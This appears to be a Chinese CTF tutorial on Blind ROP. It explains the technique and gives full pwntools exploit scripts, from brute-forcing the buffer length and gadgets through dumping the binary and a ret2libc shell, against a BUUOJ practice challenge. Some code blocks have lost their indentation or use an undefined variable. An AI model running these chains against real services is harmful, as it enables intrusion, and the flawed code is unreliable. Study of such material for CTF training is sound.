BROP


简介

Blind ROP 是在没有对应程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。

我们通常简称为盲打,亦或者黑盒 pwn。

攻击条件

  1. 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  2. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx,MySql,Apache,OpenSHH 等服务器程序都是符合这种特性的。

攻击原理

目前,大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护,以及如何进行攻击。

基本思路

在 BROP 中,基本的遵循的思路如下

  • 判断栈溢出长度
    • 暴力枚举
  • Stack Reading
    • 获取栈上的数据来泄露canary,以及ebp和返回地址
  • Blind ROP
    • 找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的write函数以及puts函数。
  • Build the exploit
    • 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exp。

栈溢出长度

直接从 1 开始暴力枚举,直到发现程序崩溃。

因为如果程序崩溃必然是栈上的返回地址被覆盖导致程序返回错误。

所以我们通过崩溃时枚举的长度就可以得出缓冲区的长度。

即:缓冲区长度 = 崩溃长度 - 1

Stack Reading

这是目前经典的栈布局

1
buffer|canary|ebp|return address

通过逐字节爆破来获取canary的值, 每个字节最多有 256 种可能,所以在 32 位的情况下,我们最多需要爆破 1024 次,64 位最多爆破 2048 次。

这里我们可以进行爆破的前提条件是攻击条件 2,即使程序崩溃也不会产生任何变化。

Blind ROP

我们需要进行 ROP,就必须有操作函数参数的 gadget。

所以接下来我们需要寻找足够多的 gadget,一般在可执行文件中都会存在libc_csu_init函数,所以我们可以使用libc_csu_init结尾的一段 gadgets 来实现。

所以接下来只需要找libc_csu_init中的 gadgets,然后再找plt即可。

找 gadgets

查找 gadgets,我们可以分为两步:

  1. 寻找 stop gadget

当执行这一段代码时,程序正确返回不崩溃。一般为_startmain函数的地址。

  1. 识别 gadgets

libc_csu_init中的 gadgets 可以进行 6 次pop,我们查找可以通过从程序起始地址开始遍历(如:64程序起始地址为0x400000),找到可以正确从栈中弹出数据6次的地址。

在 brop 中,我们一般称它为 brop_gadgets。

找 PLT

找到了 gadgets 以后,我们只需要根据函数功能,再去遍历地址,找到能够实现这个功能的地址就找到了这个函数的PLT表地址。

比如:payload = 'a'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

如果能够把0x400000的内容给输出来就可以找到put@plt

例题

接下来我们通过一道例题来进行 BROP 的学习。

axb_2019_brop64

  • 爆破缓冲区长度

根据上面的思路,我们编写枚举爆破的脚本来爆破缓冲区长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
from pwn import *
import time

sc=b'Please tell me:'
xy=b'Goodbye!'

def GetSize():
    i = 1
    while True:
        try:
            io=remote("node5.buuoj.cn",25820)
            io.recvuntil(sc)  # 等待特定的提示信息
            io.send(i * b'a')
            time.sleep(0.1) #缓冲一下要不然程序容易gg
            data = io.recv()
            io.close()
            # 如果接收到的数据不包含指定数据,则说明我们已经找到了正确的缓冲区长度
            if xy not in data:
                return i-1
            else:
                i += 1
        except EOFError:
            io.close()
            return i-1

# 调用GetSize函数来获取密码长度
size = GetSize()
print(f"buffer size is [{size}]")

运行脚本之后我们获取到了缓冲区长度:216。

这 216 是包含rbpcanary在内的。

1
buffer size is [216]
  • 寻找 stop gadget

这里我们同样通过暴力枚举来寻找一个返回到那里程序不会崩溃的地址,通常是main函数的地址。

如果我们枚举到了main函数的地址,那么程序就会返回到main函数再次执行一次,我们可以通过执行main函数的特征来判断我们是否成功返回到了main函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def GetStopAddr(size_len):
    address=0x4007d0
    while True:
        print(hex(address))
        try:
            io=remote("node5.buuoj.cn",25820)
            io.recvuntil(sc)
            payload = b'a'*size_len + p64(address)
            print(payload)
            io.send(payload)
            time.sleep(0.1)
            buf = io.recv()
            print(buf)
            output = io.recv()
            print(output)
            #如果不是以指定内容开头,则程序没有成功返回到main函数头部开始执行          
            if b'Hello,' not in output:
                io.close()
                address += 1
            else:
                return address
        #触发栈溢出异常
        except EOFError:
            address += 1
            io.close()
stop_gadgets = GetStopAddr(216)
print('stop gadgets = 0x%x' % stop_gadgets)

最后结果是0x4007d6

1
stop gadgets = 0x4007d6
  • 寻址 brop gadgets

这里同样枚举遍历即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def GetBropGadget(length, stop_gadget, addr):
    try:
        io=remote("node5.buuoj.cn",25820)
        io.recvuntil(sc)
        #通过枚举地址找到一个可以进行pop数据6次的gadget,后面加上的0是为了确保程序异常时崩溃
        payload=b'a'*length+p64(addr)+p64(0)*6+p64(stop_gadget)+p64(0)*10
        io.send(payload)
        time.sleep(0.1)
        buf = io.recv()
        print(buf)
        output = io.recv()
        io.close()
        print(output)
        #如果程序找到了pop数据6次的gadget,则最后一定会正确返回到main函数地址
        if ts not in output:
            return False
        return True
    except EOFError:
         io.close()
         return False

#校验找到的gadgets是否正确
def Check(length,addr):
    try:
        io=remote("node5.buuoj.cn",25820)
        io.recvuntil(sc)
        payload=b'a'*length+p64(addr)+b'a'*8*10
        io.send(payload)
        time.sleep(0.1)
        output = io.recv()
        io.close()
        print(output)
        return False
    except EOFError:
         io.close()
         return True

size_len=216
stop_gadget = 0x4007d6
addr = 0x400500
print('stop gadget = 0x%x'%stop_gadget)

while True:
    print(hex(addr))
    if GetBropGadget(size_len,stop_gadget,addr):
        print("brop gadget: 0x%x"% addr)
        if Check(size_len,addr):
            print("brop gadget: 0x%x"% addr)
            break
    addr+=1

找到 brop gadgets 地址 0x40095a

1
brop_gadget = 0x40095a
  • 找 PLT

我们通过从一个地址开始遍历,如果能够实现我们想要的函数功能,那么就说明我们找到了 PLT。

我们需要操作函数传参对应的 gadget,首当其冲的是pop rdi;ret。而在libc_csu_init中的pop r15;ret对应的字节码为41 5f c3,后两字节码5f c3对应的汇编即为pop rdi;ret

libc_csu_initpop rbxpop rdi;ret的偏移是固定的 9 字节,所以我们可以将 brop gadgets 加上 4 字节得到pop rdi;ret的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def GetPutsPlt(length,pop_rdi_ret,stop_gadget):
    addr = 0x400600
    while True:
        print(hex(addr))
        try:
            io=remote("node5.buuoj.cn",25820)
            io.recvuntil(sc)
            payload = b'a'*length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
            io.send(payload)
            time.sleep(0.1)
            buf = io.recv()
            output = io.recv()
            #这里是ELF文件的头部魔数,我们通过是否输出了ELF文件的头部来判断是否找到了plt的地址
            if b'\x7fELF' in output:
                print('puts plt address = 0x%x' % (addr+1))
                return addr+1
            addr += 1
        except EOFError:
            io.close()
            addr += 1
brop_gadget = 0x40095a
pop_rdi_ret = 0x40095a+9      
GetPutsPlt(size_len,pop_rdi_ret,stop_gadget)

找到 plt 表地址

1
puts plt address = 0x400636
  • dump 程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def leak(offset,pop_rdi_ret,puts_plt,leak_addr,stop_addr):
io=remote("node5.buuoj.cn",25820)
payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3) #0x400635 -> 3byte \x00 stop !!!
try:
output = io.recv(timeout = 1)
io.close()
try:
output = output[:output.index(b"\nHello,I am a computer")]
print(output)
except Exception:
output = output
if output == b"":
output = b"\x00"
return output
except Exception:
io.close()
return None

def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr):
result =b''
while addr < 0x402300:
print(hex(addr))
output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr)
if output is None:
result += b'\x00'
addr += 1
continue
else:
result += output
addr += len(output)
with open('dump_file','wb') as f:
f.write(result)
dump_file(size_len,pop_rdi_ret,puts_plt,0x400000,stop_gadget)

dump 程序后获取到 puts 函数 got 表地址,然后即可进行 ret2libc了。

1
got address = 0x601018
  • 最后进行 ret2libc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def exp(offset,pop_rdi_ret,puts_got,puts_plt,stop_gadget):
io=remote("node5.buuoj.cn",25820)
libc=ELF("/buu/64/libc-2.23.so")
ret = 0x40095a + 0x9 + 0x5
payload = b'a'*offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_gadget)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3)
func_addr = io.recv(6)
puts_addr = u64(func_addr.ljust(8,b'\x00'))
print(hex(puts_addr))
libcbase=puts_addr-libc.sym.puts
sys=libcbase+libc.sym.system
sh=libcbase+next(libc.search("/bin/sh\x00"))
io.recvuntil(b"Please tell me:")
payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(sh) + p64(sys) + p64(stop_gadget)
io.sendline(payload)
io.interactive()

exp(size_len,pop_rdi_ret,0x601018,puts_plt,stop_gadget)

后言

参考:ctf-wiki